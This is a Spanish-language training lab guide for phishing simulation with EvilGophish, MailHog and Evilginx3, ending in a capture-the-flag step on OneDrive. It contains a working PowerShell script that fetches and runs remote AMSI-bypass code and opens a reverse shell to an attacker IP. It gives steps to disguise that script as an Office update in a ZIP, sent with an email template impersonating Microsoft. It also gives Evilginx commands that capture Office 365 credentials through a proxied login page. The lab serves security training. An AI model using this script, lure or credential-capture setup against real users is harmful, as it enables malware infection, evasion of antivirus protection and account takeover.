# Documentación: Configuración Inicial de la Máquina Virtual para EvilGophish

# CONFIGURACIÓN INICIAL Y ASPECTOS BÁSICOS

## 1. Acceso a la Interfaz Web de Gophish

Una vez que Evilginx3 esté en funcionamiento, podremos acceder a la interfaz web de Gophish desde el navegador. La URL para acceder es la siguiente:

```
https://localhost:3333
```

El usuario y la contraseña predeterminados para iniciar sesión son:

- **Usuario**: `admin`
- **Contraseña**: `abc123..`

## 2. Creación de una Plantilla de Correo en EvilGophish

Una vez accedidos al panel web de EvilGophish, el siguiente paso es crear nuestra primera plantilla para el correo de phishing. Esta plantilla es crucial para simular un mensaje legítimo que engañe a los usuarios.

### 2.1 Diseño de la Plantilla

Para crear la plantilla, podemos utilizar varias fuentes. Algunas opciones son:

- **Utilizar ChatGPT** para generar el HTML del correo.
- **Buscar una plantilla en Google** que se ajuste a nuestras necesidades.
- **Diseñar la plantilla nosotros mismos**.

Un ejemplo de plantilla válida sería la siguiente:

```
<!DOCTYPE html>
<html lang="es">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,
initial-scale=1.0">
    <title>Recuperación de cuenta Microsoft</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
<h2>Solicitud de recuperación de cuenta</h2>

<p><strong>Correo electrónico:</strong> <code class="py-[1px] px-1.5 min-w-
[1.625rem] justify-center items-center ring-1 ring-inset ring-tint bg-tint
rounded text-[.875em] leading-[calc(max(1.20em,1.25rem))]">{{.Email}}</code></p>
```

```
<p><strong>Nombre y apellidos:</strong> <code class="inline-grid min-w-full grid-
cols-[auto_1fr] p-2 [count-reset:line]" id=":r5:"><span class="highlight-line">
<span class="highlight-line-content">{{.FirstName}} </span></span></code><code
class="inline-grid min-w-full grid-cols-[auto_1fr] p-2 [count-reset:line]"><span
class="highlight-line"><span class="highlight-line-content">{{.LastName}}}}
</span></span></code></p>

<p>Haz clic en el siguiente botón para comprobar el estado de tu recuperación:
</p>

<p><a href="{{.URL}}" style="display: inline-block; padding: 10px 15px;
background-color: #0078D4; color: #fff; text-decoration: none; border-radius:
5px;">Comprobar recuperación </a></p>

<p>{{.Tracker}}</p>
</body>
</html>
```

En esta plantilla, las variables `{{.Email}}`, `{{.FirstName}}`, `{{.LastName}}`, `{{.URL}}` y `{{.Tracker}}` son esenciales para personalizar el contenido del correo según el destinatario y el enlace malicioso que queramos utilizar.

- **{{.Email}}** se sustituirá por el correo electrónico de la víctima.
- **{{.FirstName}}** y **{{.LastName}}** se sustituirán por el nombre y apellidos de la víctima.
- **{{.URL}}** será reemplazado por la URL de nuestra página maliciosa, creada en Evilginx3.

Estas variables son propias de Gophish y se pueden encontrar detalladas en su documentación, lo que nos permite personalizar cada correo para simular un mensaje legítimo.

## 2.2 Configuración del Remitente y Asunto

Dentro de la interfaz web de EvilGophish, deberemos configurar los siguientes detalles para la plantilla:

- **Remitente**: Establecer el correo del remitente, por ejemplo, `microsoft@microsoft.com`.
- **Asunto**: Definir un asunto convincente para el correo, como por ejemplo: `Correo comprometido`.

Una vez que hayas configurado la plantilla con el remitente, el asunto y las variables correspondientes, guarda los cambios para asegurarte de que la plantilla esté lista para su uso en la campaña.

# 3. Creación de Usuarios para el Envío del Correo Malicioso

El siguiente paso consiste en crear los usuarios a los que enviaremos el correo malicioso. Para ello, debemos seguir los siguientes pasos:

## 3.1 Acceso a "Users & Groups"

Accede a la sección **"Users & Groups"** desde el panel web de EvilGophish. Aquí es donde gestionaremos los grupos de usuarios y los usuarios específicos a los que se enviarán los correos de phishing.

## 3.2 Creación del Nuevo Grupo

En este caso, como estamos trabajando con una demo, el grupo solo tendrá un único usuario. Para crear el grupo:

1. Haz clic en **"Create Group"** o la opción correspondiente para crear un nuevo grupo.
2. Asigna un nombre al grupo, por ejemplo, `Demo Group`.
3. Guarda los cambios.

## 3.3 Creación del Usuario de Prueba

Una vez creado el grupo, vamos a añadir un usuario de prueba que será parte de este grupo. Para ello, procedemos de la siguiente forma:

1. Haz clic en **"Add User"** o la opción correspondiente para añadir un nuevo usuario.
2. Introduce los siguientes datos de prueba para el usuario:
    - **Nombre**: Pepito Perez
    - **Correo electrónico**: poc.labs@dooingit.onmicrosoft.com
3. Asocia este usuario al grupo recién creado (por ejemplo, `Demo Group`).
4. Haz clic en **"Añadir"** para guardar el nuevo usuario.

## 3.4 Guardar los Cambios

Finalmente, asegúrate de guardar todos los cambios realizados en los usuarios y grupos.

# 4. Configuración del Perfil de Envío de Correo (Email Sending Profile)

El último paso es configurar el perfil de envío de correos, lo cual es esencial para que EvilGophish pueda enviar los correos maliciosos a los usuarios creados. Para ello, seguimos estos pasos:

## 4.1 Acceso a "Email Sending Profile"

Accede a la sección **"Email Sending Profile"** desde el panel web de EvilGophish. Aquí es donde configuraremos el perfil de envío de correos.

## 4.2 Crear un Nuevo Perfil

Haz clic en **"New Profile"** para crear un nuevo perfil de envío de correos.

## 4.3 Configuración del Perfil

En esta sección, deberás completar los siguientes campos:

1. **Nombre del perfil**: Asigna un nombre al perfil, por ejemplo, `Mailhog`.
2. **Dirección de correo**: Introduce la dirección de correo que enviará los correos maliciosos. En este caso, puede ser `microsoft@microsoft.com`.
3. **Host del servidor SMTP**: Introduce la dirección del servidor SMTP. Dado que estamos usando un servidor local de MailHog para la demostración, introducimos la dirección `localhost:1025`.
4. **Puerto**: El puerto a utilizar será el `1025`, que es el puerto configurado en MailHog.
5. **Username y Password**: Estos campos pueden dejarse vacíos, ya que MailHog no realiza comprobaciones de autenticación.

## 4.4 Probar la Configuración

Si deseas verificar que la configuración es correcta, puedes hacer clic en el botón **"Send Test Mail"** para enviar un correo de prueba a cualquier dirección de correo que desees. Como estamos utilizando MailHog, el correo se quedará en nuestro servicio de MailHog y no se enviará a ningún destinatario real.

## 4.5 Acceso al Panel de MailHog

Para ver si los correos de prueba se han enviado correctamente, puedes acceder al panel de MailHog mediante la siguiente URL:

```
http://localhost:8025/
```

Desde allí, podrás visualizar los correos enviados y comprobar que la configuración está funcionando correctamente.

---

# LAB BYPASS DE AMSI

---

## Simulación de Ataque: Envío de Correo Fraudulento con Activador de Office

**Para el formador: todo el material de este lab se encuentra en la carpeta oculta /home/user/.dooingit (en la máquina Debian) y C:/Users/.dooingit en el caso de windows**

**Contexto:**

En esta simulación, vamos a simular el envío de un correo fraudulento a un empleado de la compañía con el propósito de que descargue un archivo ZIP adjunto que contiene una supuesta actualización de Office. Esta actualización, en realidad, incluye un activador malicioso que instalará LibreOffice en el sistema del objetivo y ejecutará un script PowerShell para realizar un bypass de AMSI (Anti-Malware Scan Interface), lo que permite ejecutar un payload malicioso, como una reverse shell, en la máquina de la víctima.

Los pasos que seguimos son los siguientes:

---

## 1. Creación del Script PowerShell (AMSI Bypass + Reverse Shell + Instalación de LibreOffice)

El primer paso es crear un script PowerShell que sirva para ejecutar el bypass de AMSI, lo que nos permitirá evadir la protección anti-malware de PowerShell, y luego ejecutaremos una reverse shell hacia nuestra máquina de atacante. Además, el script instalará LibreOffice en la máquina de la víctima, lo que simula la actualización de Office. A continuación, te proporciono el script en PowerShell que usaremos:

```
$LHOST = "192.168.100.20"
$LPORT = 4444


IEX (New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/V-i-x-
x/AMSI-BYPASS/refs/heads/main/AvBypassTricks/hello.ps1"); IEX (New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/V-i-x-
x/AMSI-BYPASS/refs/heads/main/AvBypassTricks/hello2.ps1"); IEX (New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/V-i-x-
x/AMSI-BYPASS/refs/heads/main/AvBypassTricks/hello3.ps1"); MagicBypass;

Start-Process -FilePath ".\LibreOffice_25.2.1_Win_x86-64.msi"


$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT)
$NetworkStream = $TCPClient.GetStream()
$StreamReader = New-Object IO.StreamReader($NetworkStream)
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
$StreamWriter.AutoFlush = $true


while ($TCPClient.Connected) {
    try {

        $Command = $StreamReader.ReadLine()


        if ($Command) {
            $Output = try {
                $Result = Invoke-Expression $Command 2>&1
                $Result | Out-String
            } catch {
                $_.Exception.Message
            }
```

```
            $StreamWriter.WriteLine($Output)
        }
    } catch {
        $StreamWriter.WriteLine("Error: $_")
        break
    }
}

$TCPClient.Close()
$NetworkStream.Close()
$StreamReader.Close()
$StreamWriter.Close()
```

Este script realiza las siguientes acciones:

1. **Bypass de AMSI:** Utiliza el repositorio de V-i-x-x/AMSI-BYPASS para eludir la protección AMSI de PowerShell.
2. **Reverse Shell:** Configura una reverse shell que se conecta a nuestra máquina de atacante para recibir comandos remotos.
3. **Instalación de LibreOffice:** Ejecuta en la máquina de la víctima, el instalador de libre office para que no sospeche.

## 2. Preparación del Instalador y el ZIP

1. **Descargar el Instalador de LibreOffice:**
   - Dirígete a la página oficial de LibreOffice y descarga la versión que desees (en este caso, la 7.5.0.3 para Windows).
2. **Renombrar el Instalador:**
   - Una vez descargado el archivo `LibreOffice_7.5.0.3_Win_x64.msi`, renómbralo a `office2025.msi` para simular una versión de Office.
3. **Crear el Archivo ZIP:**
   - Coloca el script PowerShell `.ps1` y el archivo renombrado `office2025.msi` en la misma carpeta.
   - Comprime ambos archivos en un archivo `.zip` (por ejemplo, `office_update.zip`) que será enviado a la víctima.

## 3. Creación de la Plantilla HTML en Gophish

Ahora que tenemos el archivo ZIP con el payload, vamos a crear una plantilla de correo en Gophish. Este correo parecerá legítimo, informando a la víctima sobre una "actualización importante" para la nueva versión de Office. A continuación, se muestra un ejemplo de contenido HTML para el correo:

```
htmlCopyEdit<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
```

```
    <title>Actualización de Office</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h2>¡Nueva versión de Office disponible!</h2>
    <p>Estimado usuario,</p>
    <p>Nos complace informarte que hemos lanzado una nueva versión de Office que incluye mejoras importantes y nuevas funcionalidades. Para completar la actualización, te hemos adjuntado el archivo de instalación que incluye el activador para introducir nuestra licencia corporativa.</p>

    <p>Por favor, sigue las instrucciones a continuación para completar la instalación:</p>
    <ol>
        <li>Descarga el archivo adjunto.</li>
        <li>Descomprime el archivo ZIP.</li>
        <li>Ejecuta el archivo de instalación.</li>
        <li>Introduce la clave de licencia cuando se te solicite.</li>
    </ol>

    <p>Si tienes alguna duda o problema, no dudes en ponerte en contacto con el soporte técnico.</p>

    <p>Atentamente,<br>Equipo de soporte</p>

    <p><strong>Adjunto:</strong> Office_Activator.zip</p>
</body>
</html>
```

## 4. Crear la Plantilla en Gophish

1. Accede a tu panel de Gophish.
2. Dirígete a la sección **"Email Templates"**.
3. Haz clic en **"New Template"**.
4. Ponle un nombre descriptivo a la plantilla (por ejemplo: **"Actualización de Office"**).
5. En el campo de contenido, pega el código HTML que has creado.
6. Guarda la plantilla.

## 5. Crear la Campaña en Gophish

Una vez creada la plantilla, el siguiente paso es configurar la campaña y enviarla utilizando el perfil y grupo de usuarios previamente creados.

1. **Ir a la sección** de **"Campaigns"** en Gophish.
2. Haz clic en **"New Campaign"**.
3. En **"Name"**, pon un nombre descriptivo para la campaña (por ejemplo: **"Campaña Actualización de Office"**).
4. En **"Email Template"**, selecciona la plantilla que acabas de crear (por ejemplo: **"Actualización de Office"**).
5. En **"Sending Profile"**, selecciona el perfil de envío que creaste anteriormente (por ejemplo: **"Mailhog"**).

6. En **"Groups"**, selecciona el grupo de usuarios al que enviarás el phishing (por ejemplo: **"Grupo de Empleados"**).
7. En **"Landing Page"**, para este ejercicio no es necesaria.
8. Haz clic en **"Launch Campaign"**.

## 6. Acceder al Correo de la Víctima y Descargar el ZIP

**Contexto:** Después de haber enviado el correo fraudulento a la víctima (el empleado de la compañía), vamos a acceder al buzón de correo del servicio **MailHog** que corre en nuestra máquina Debian. (Esto lo haremos desde el windows simulando ser la víctima)

1. **Acceder al Panel Web de MailHog:**
   - El panel de MailHog está disponible en la dirección: `http://192.168.100.20:8025`.
   - En este panel, podrás ver los correos enviados a las direcciones registradas, incluyendo el correo fraudulento con el archivo ZIP adjunto.
2. **Ver el Correo Enviado:**
   - Busca el correo que contiene el archivo ZIP (que simulaba una actualización de Office). El correo debe estar en el panel de MailHog.
3. **Descargar el Archivo ZIP:**
   - Haz clic en el correo y descarga el archivo ZIP adjunto que contiene el instalador renombrado y el script PowerShell.

## 7. Preparar la Máquina Atacante para Escuchar la Reverse Shell

1. **Abrir una Terminal en la Máquina Atacante (Debian):**
   - En la máquina atacante, abre una terminal para escuchar en el puerto que utilizaremos para recibir la reverse shell (en este caso, el puerto **4444**).
2. **Ponerse en Escucha con Netcat:**
   - Para esperar la conexión de la reverse shell, utilizamos **Netcat** (nc). Ejecuta el siguiente comando en la terminal:

   ```
   nc -lvnp 4444
   ```

   Este comando pone a la máquina atacante en escucha en el puerto **4444** esperando una conexión entrante desde la víctima.
3. **Verificar la Escucha:**
   - Asegúrate de que la terminal está correctamente esperando la conexión. Si todo está bien configurado, tu terminal debería estar mostrando algo como:

   ```
   listening on [any] 4444 ...
   ```

## 8. Simular el Comportamiento de la Víctima

Ahora, vamos a simular que somos la víctima, quien tiene el archivo ZIP descargado y el script PowerShell listo para ejecutarse. Esto es lo que hará la víctima una vez haya descargado y extraído los archivos.

1. **Extraer el Archivo ZIP:**
    - Extrae el archivo ZIP que descargaste desde el panel de MailHog.
    - Verás los dos archivos:
        - El script PowerShell (por ejemplo `amsi_bypass.ps1`).
        - El archivo renombrado de LibreOffice (por ejemplo `office2025.msi`).
2. **Ejecutar el Script PowerShell:**
    - Ejecuta el archivo PowerShell (`amsi_bypass.ps1`). Este script realizará los siguientes pasos:
        - Realizará el **bypass de AMSI**.
        - Iniciará la reverse shell y la conectará con la máquina atacante.
        - Instalará el software (LibreOffice en este caso).

---

## 9. Recibir la Reverse Shell en la Máquina Atacante

Una vez que el script PowerShell se haya ejecutado en la máquina de la víctima, debería conectar automáticamente con nuestra máquina atacante a través de la reverse shell.

1. **Observar la Reverse Shell:**
    - En la terminal de la máquina atacante (donde estamos escuchando en el puerto 4444), deberías ver algo como esto:

    ```
    connect to [IP_DE_TU_MAQUINA] from (UNKNOWN) [IP_DE_VICTIMA] 4444
    ```

    Esto indica que la conexión de la víctima se ha realizado correctamente. Ahora tienes acceso a la máquina de la víctima y puedes comenzar a ejecutar comandos en ella.
2. **Comprobar la Conexión:**
    - Para asegurarte de que la conexión es funcional, puedes ejecutar un comando simple como `whoami` para ver en qué cuenta se está ejecutando la reverse shell:

    ```
    whoami
    ```

    Esto debería devolver el nombre de usuario con el que la víctima está trabajando en su máquina.

---

# LAB OPCIONAL PHISHING CON EVILGINX3

---

## 1. Configuración de Evilginx como Reverse Proxy Malicioso

El siguiente paso será configurar Evilginx, que actuará como nuestro reverse proxy malicioso para interceptar las credenciales de las víctimas.

### 1.1 Acceder a la Terminal y Navegar a la Carpeta de EvilGophish

Primero, abre una terminal como **root**. Para ello, ejecuta:

```
su -
```

Introduce la contraseña cuando se te pida: **abc123..**.

A continuación, navega a la carpeta donde se encuentra EvilGophish:

```
cd /home/user/evilgophish
```

### 1.2 Lanzar Evilginx

Una vez en la carpeta adecuada, ejecuta el siguiente comando para iniciar Evilginx con la configuración de Gophish y los phishlets:

```
./evilginx3/build/evilginx -g gophish/gophish.db -p evilginx3/legacy_phishlets/ --feed --developer
```

Este comando realiza lo siguiente:

- **-g gophish/gophish.db**: Usa la base de datos de Gophish para sincronizar los datos.
- **-p evilginx3/legacy_phishlets/**: Carga los phishlets por defecto de Evilginx.
- **--feed**: Permite que Evilginx se conecte al feed de phishlets para actualizaciones automáticas.
- **--developer**: Activa la opción para usar certificados autofirmados, ya que estamos trabajando en un entorno local.

Esto lanzará Evilginx en la terminal con una interfaz interactiva.

## 1.3 Configuración del Dominio Fraudulento

Lo primero que deberemos hacer es configurar el dominio fraudulento que usaremos para la campaña. Para ello, ejecutamos el siguiente comando:

```
config domain pocdomain.com
```

Este comando configurará **pocdomain.com** como nuestro dominio malicioso.

## 1.4 Asociar el Phishlet al Dominio

Ahora debemos seleccionar el **phishlet** que vamos a utilizar para nuestro ataque. En este caso, vamos a usar el phishlet relacionado con **Office 365**. Para asociarlo al dominio fraudulento, ejecuta:

```
phishlets hostname o365 pocdomain.com
```

## 1.5 Activar el Phishlet

Una vez asociado el phishlet con el dominio, debemos activarlo para que empiece a interceptar las solicitudes. Para hacerlo, ejecutamos:

```
phishlets enable o365
```

Si todo ha ido bien, podremos verificar que el phishlet está activo ejecutando:

```
phishlets
```

Esto mostrará una lista de todos los phishlets disponibles junto con su estado y los dominios asociados.

## 1.6 Crear el Lure

A continuación, debemos crear el **lure** (el enlace malicioso) para el phishlet que acabamos de activar. Esto se hace con el siguiente comando:

```
lures create o365
```

Para ver el listado de los lures, ejecutamos:

```
lures
```

Esto mostrará los lures disponibles para el phishlet **o365**. Ahora, para obtener la URL completa de nuestro lure malicioso, ejecutamos:

```
lures get-url 0
```

Este comando nos devolverá la URL que podemos utilizar para enviar a las víctimas.

## 1.7 Establecer la URL de Redirección

Finalmente, debemos configurar la URL de redirección para que, después de capturar las credenciales, la víctima sea redirigida a la página legítima de inicio de sesión de Office 365. Esto lo logramos con el siguiente comando:

```
lures edit 0 redirect_url https://m365.cloud.microsoft/
```

Este comando configurará la URL de redirección a la página legítima de Office 365, asegurando que la víctima crea que está ingresando sus credenciales en un sitio legítimo.

# 2. Creación de la Primera Campaña de Correo Malicioso

Una vez que tengamos todo configurado (plantilla de correo, perfil de envío y usuarios), el siguiente paso es crear nuestra primera campaña de correo malicioso. Para ello, seguimos los siguientes pasos:

## 2.1 Acceso a "Launch Email Campaign"

Accede a la sección **"Launch Email Campaign"** en el panel web de EvilGophish.

## 2.2 Crear una Nueva Campaña

Haz clic en **"New Email Campaign"** para comenzar a crear la nueva campaña.

## 2.3 Configuración de la Campaña

En esta pantalla, deberás configurar los siguientes parámetros:

1. **Nombre de la campaña**: Asigna un nombre descriptivo para la campaña, por ejemplo, `Demo Phishing Campaign`.
2. **Seleccionar la plantilla**: En el campo correspondiente, selecciona la plantilla de correo que habías creado previamente (como la plantilla de recuperación de cuenta de Microsoft).
3. **Lure de Evilginx3**: Introduce el *lure* o "enganche" de Evilginx3, el cual es el enlace que se enviará en el correo para redirigir a la víctima al sitio de phishing.
4. **Perfil de envío**: Selecciona el perfil de envío que habías configurado previamente (por ejemplo, `Mailhog`).
5. **Grupo de usuarios**: Selecciona el grupo de usuarios al cual enviarás el correo malicioso (en este caso, el grupo que creaste con el usuario de prueba, `Demo Group`).

## 2.4 Lanzar la Campaña

Una vez que hayas configurado todos los parámetros, haz clic en **"Launch Campaign"** o el botón correspondiente para iniciar la campaña.

## 2.5 ¡Y a disfrutar de los resultados!

¡Ahora tu campaña está lista para ejecutarse! Los usuarios del grupo recibirán el correo malicioso con el enlace de phishing, y podrás ver los resultados en el panel de EvilGophish.

# 3. Verificación de la Campaña en MailHog y Gophish

Una vez que hayamos enviado la campaña de phishing, podemos verificar los resultados en el panel de MailHog y Gophish.

## 3.1 Verificación en MailHog

Para empezar, vamos a verificar el correo enviado a través de **MailHog**. Accede al panel de MailHog en el navegador:

```
http://localhost:8025/
```

Dentro del panel de MailHog, busca la campaña enviada. Allí podrás ver los correos recibidos, y al hacer clic en uno de ellos, podrás ver el mensaje malicioso.

## 3.2 Acceder con las Credenciales de la Cuenta

Al hacer clic en el correo y abrirlo, se te pedirá que introduzcas las credenciales para acceder a la cuenta de microsoft. Ingresa las siguientes credenciales:

- **Cuenta de correo**: `poc.labs@dooingit.onmicrosoft.com`
- **Contraseña**: `abc123..`

Es posible que te pida las credenciales dos veces. Asegúrate de introducirlas ambas veces para completar el proceso.

## 3.3 Verificación en Gophish

Una vez que el usuario haya abierto el correo, hecho clic en el enlace malicioso y introducido sus credenciales, podrás ver el estado de la campaña en el panel de **Gophish**. En el panel de Gophish podrás observar lo siguiente:

- El **usuario ha abierto el correo**.
- El **usuario ha hecho clic en el enlace**.
- El **usuario ha introducido sus credenciales**.

## 3.4 Verificación en EvilGinx

En la terminal donde tienes corriendo Evilginx, podrás ver las credenciales de la víctima, ya que Evilginx actúa como el reverse proxy malicioso y captura toda la información introducida.

```
[+] [EVILGINX] - Captured Credentials: poc.labs@dominio.com:abc123..
```

## 3.5 Consideraciones

**DISCLAIMER**: Durante las pruebas realizadas, todo el proceso ha funcionado correctamente. Sin embargo, debido a las limitaciones de la máquina, la parte de hacer clic en el correo e introducir las credenciales puede requerir más tiempo. Es posible que sea necesario realizar estos pasos lentamente para que Gophish tenga tiempo suficiente para registrar y guardar las credenciales correctamente.

# 4. Consulta de la Flag en OneDrive desde el Panel Web de Office 365

Una vez que hayas obtenido las credenciales de la víctima a través de Gophish, el siguiente paso es acceder a **Office 365** y consultar la **flag** en su cuenta de **OneDrive**.

## 4.2 Acceder a OneDrive

1. Una vez dentro de la cuenta de **Office 365**, haz clic en el **ícono de OneDrive** (normalmente se encuentra en el panel de aplicaciones de Office 365).
2. Esto te llevará directamente a su **OneDrive**.

## 4.3 Consultar la Flag

1. Dentro de **OneDrive**, ve a la sección de **"My Files"** (Mis archivos).
2. Busca un archivo que contenga la **flag**.
3. Abre el archivo que contiene la **flag**. Allí podrás visualizar el contenido que deseas, que es la **flag** capturada.

# ENHORABUENA LABORATORIO COMPLETADO :)